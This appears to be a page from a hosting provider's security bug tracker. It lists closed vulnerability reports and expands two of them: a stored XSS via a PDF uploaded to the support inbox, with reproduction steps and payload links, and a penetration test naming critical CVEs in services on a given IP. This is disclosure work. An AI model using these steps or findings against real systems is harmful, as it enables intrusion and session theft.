Thank You,
Waleed Anwar
|
|
131 | Stored XSS by PDF in Support inbox | Closed | 26.02.2025 |
Task Description
Description:
During the test of the web application, I have discovered a stored XSS in the support Inbox portal and observed that a malicious PDF file could be uploaded in place of a valid one, eventually leading to a stored XSS vulnerability.
Reproduction Steps:
Get login Go to Support inbox Upload the attached pdf XSS Open the pdf, it will not trigger Click on Print, the XSS will trigger on another tab
POC URL: https://admin.alwaysdata.com/support/84461/393820-x.pdf
POC Video: https://drive.google.com/drive/folders/1LxN8LxuTCF9Np4JyM1opB00Wc3jcoGGP?usp=sharing Payload: https://drive.google.com/file/d/1F44yeQMuWoIfSNdoyB4QAtwr7jztYkNQ/view?usp=sharing
Similar vulnerability report as reference: https://hackerone.com/reports/1481207 https://hackerone.com/reports/881557
Impact:
A stored XSS attack can have a significant impact, allowing attackers to steal sensitive user information like cookies, hijack user sessions of internal support users or admin whoever opens the ticket.
|
|
130 | Penetration Testing Summary Report | Closed | 24.02.2025 |
Task Description
Target IP: 185.31.40.185Date: February 24, 2025Tester: Ziad Ali
1. Summary of Findings
The penetration test conducted on the target system revealed multiple vulnerabilities across different services, with a focus on Avahi, Exim, and MariaDB. Below is a high-level summary:
Avahi mDNS (CVE-2011-1002) – DoS Vulnerability Detected
Exim Mail Server (Version 4.92) – Multiple Exploits Available
MariaDB (Version 10.4.33) – Critical Privilege Escalation and RCE Vulnerabilities
2. Detailed Findings
2.1 Avahi mDNS (CVE-2011-1002)
Service: Avahi (Multicast DNS, UDP 5353)
Impact: Remote attackers can send NULL UDP packets to disrupt network service.
Proof of Concept:
The system responded to a NULL UDP packet sent to 224.0.0.251, indicating potential for exploitation.
Remediation:
Disable Avahi if not needed (systemctl stop avahi-daemon).
Update Avahi to the latest patched version.
Restrict multicast traffic using firewall rules (iptables -A INPUT -s 224.0.0.251 -j DROP).
2.2 Exim SMTP Server (Version 4.92)
Service: Exim SMTP (TCP 465)
Impact: Multiple privilege escalation and RCE vulnerabilities detected.
Vulnerabilities:
CVE-2019-16928 (Heap Overflow, RCE) – CVSS Score: 9.8
CVE-2019-15846 (Remote Code Execution) – CVSS Score: 9.8
Exploit Available: Metasploit modules exist for these exploits.
Remediation:
Upgrade Exim to the latest stable version.
Implement security best practices such as restricting access to SMTP services.
2.3 MariaDB Server (Version 10.4.33)
Service: MariaDB (TCP 3306)
Impact: Critical privilege escalation and remote code execution vulnerabilities.
Vulnerabilities:
CVE-2012-2750 (Authentication Bypass) – CVSS Score: 10.0
CVE-2016-9843 (Arbitrary Code Execution) – CVSS Score: 9.8
Exploit Available: Public exploits exist for privilege escalation.
Remediation:
Upgrade MariaDB to the latest stable version.
Restrict database access using firewall rules.
Implement strong authentication mechanisms.
3. Conclusion & Recommendations
The target system has multiple critical vulnerabilities that could lead to unauthorized access, privilege escalation, and denial-of-service attacks. The following actions should be prioritized:
Immediate Patch Deployment: Update Exim and MariaDB to secure versions.
Disable or Secure Avahi Service: Unless required, disable Avahi or limit its exposure.
Firewall Hardening: Restrict access to SMTP, IMAP, and database services.
Security Monitoring: Implement IDS/IPS solutions to detect exploit attempts.
Severity Assessment: Critical – Immediate action is recommended to mitigate risks.
|
|
129 | Sensitive Personal and Financial Data Exposure via Web ... | Closed | 10.02.2025 | |
|
128 | Sensitive Data Exposure via Wayback Machine Archive | Closed | 06.02.2025 | |
|
127 | Unrestricted File Upload on support Form | Closed | 27.01.2025 | |
|
126 | Title: Public Exposure of Sensitive Bank Details via PD ... | Closed | 27.01.2025 | |
|
125 | Bug: NPM Dependency Confusion Vulnerability. | Closed | 27.01.2025 | |
|
124 | Failure to invalidate session after password change | Closed | 17.02.2025 | |
|
123 | Direct accessing Api on another Browser | Closed | 10.01.2025 | |
|
122 | .git folder exposed at https://security.alwaysdata.com/ ... | Closed | 08.01.2025 | |
|
121 | Bypass the Session Expiration in admin.alwaysdata.com | Closed | 08.01.2025 | |
|
120 | Authentication Bypass - 2FA Bypass: Account Lockout Wit ... | Closed | 30.12.2024 | |
|
119 | Non-functional 2FA recovery codes | Closed | 30.12.2024 | |
|
118 | Hidden Matomo Tracking Opt-Out Endpoint | Closed | 23.12.2024 | |
|
117 | Session Fixation on admin.alwaysdata.com | Closed | 16.12.2024 | |
|
116 | Blind SSRF and Open Redirection in Comment Section | Closed | 10.12.2024 | |
|
115 | Credit Card Validation not occurring while signup throu ... | Closed | 04.12.2024 | |
|
114 | Issue with password change | Closed | 04.12.2024 | |
|
113 | Subscription is not transferred before deleting the pro ... | Closed | 04.12.2024 | |
|
112 | Bypass rate limiting on reset password (possibly site-w ... | Closed | 27.11.2024 | |
|
111 | Missing rate limit for current password field (Password ... | Closed | 27.11.2024 | |
|
110 | Unveiling an IDOR Vulnerability in Email Verification W ... | Closed | 26.11.2024 | |
|
109 | Issue with password change | Closed | 26.11.2024 | |
|
108 | Email Enumeration | Closed | 26.11.2024 | |
|
107 | Directory Listing Enabled | Closed | 25.11.2024 | |
|
106 | Bug Report: Broken Access Control on 2FA Leading to Pre ... | Closed | 25.11.2024 | |
|
105 | open redirect | Closed | 25.11.2024 | |
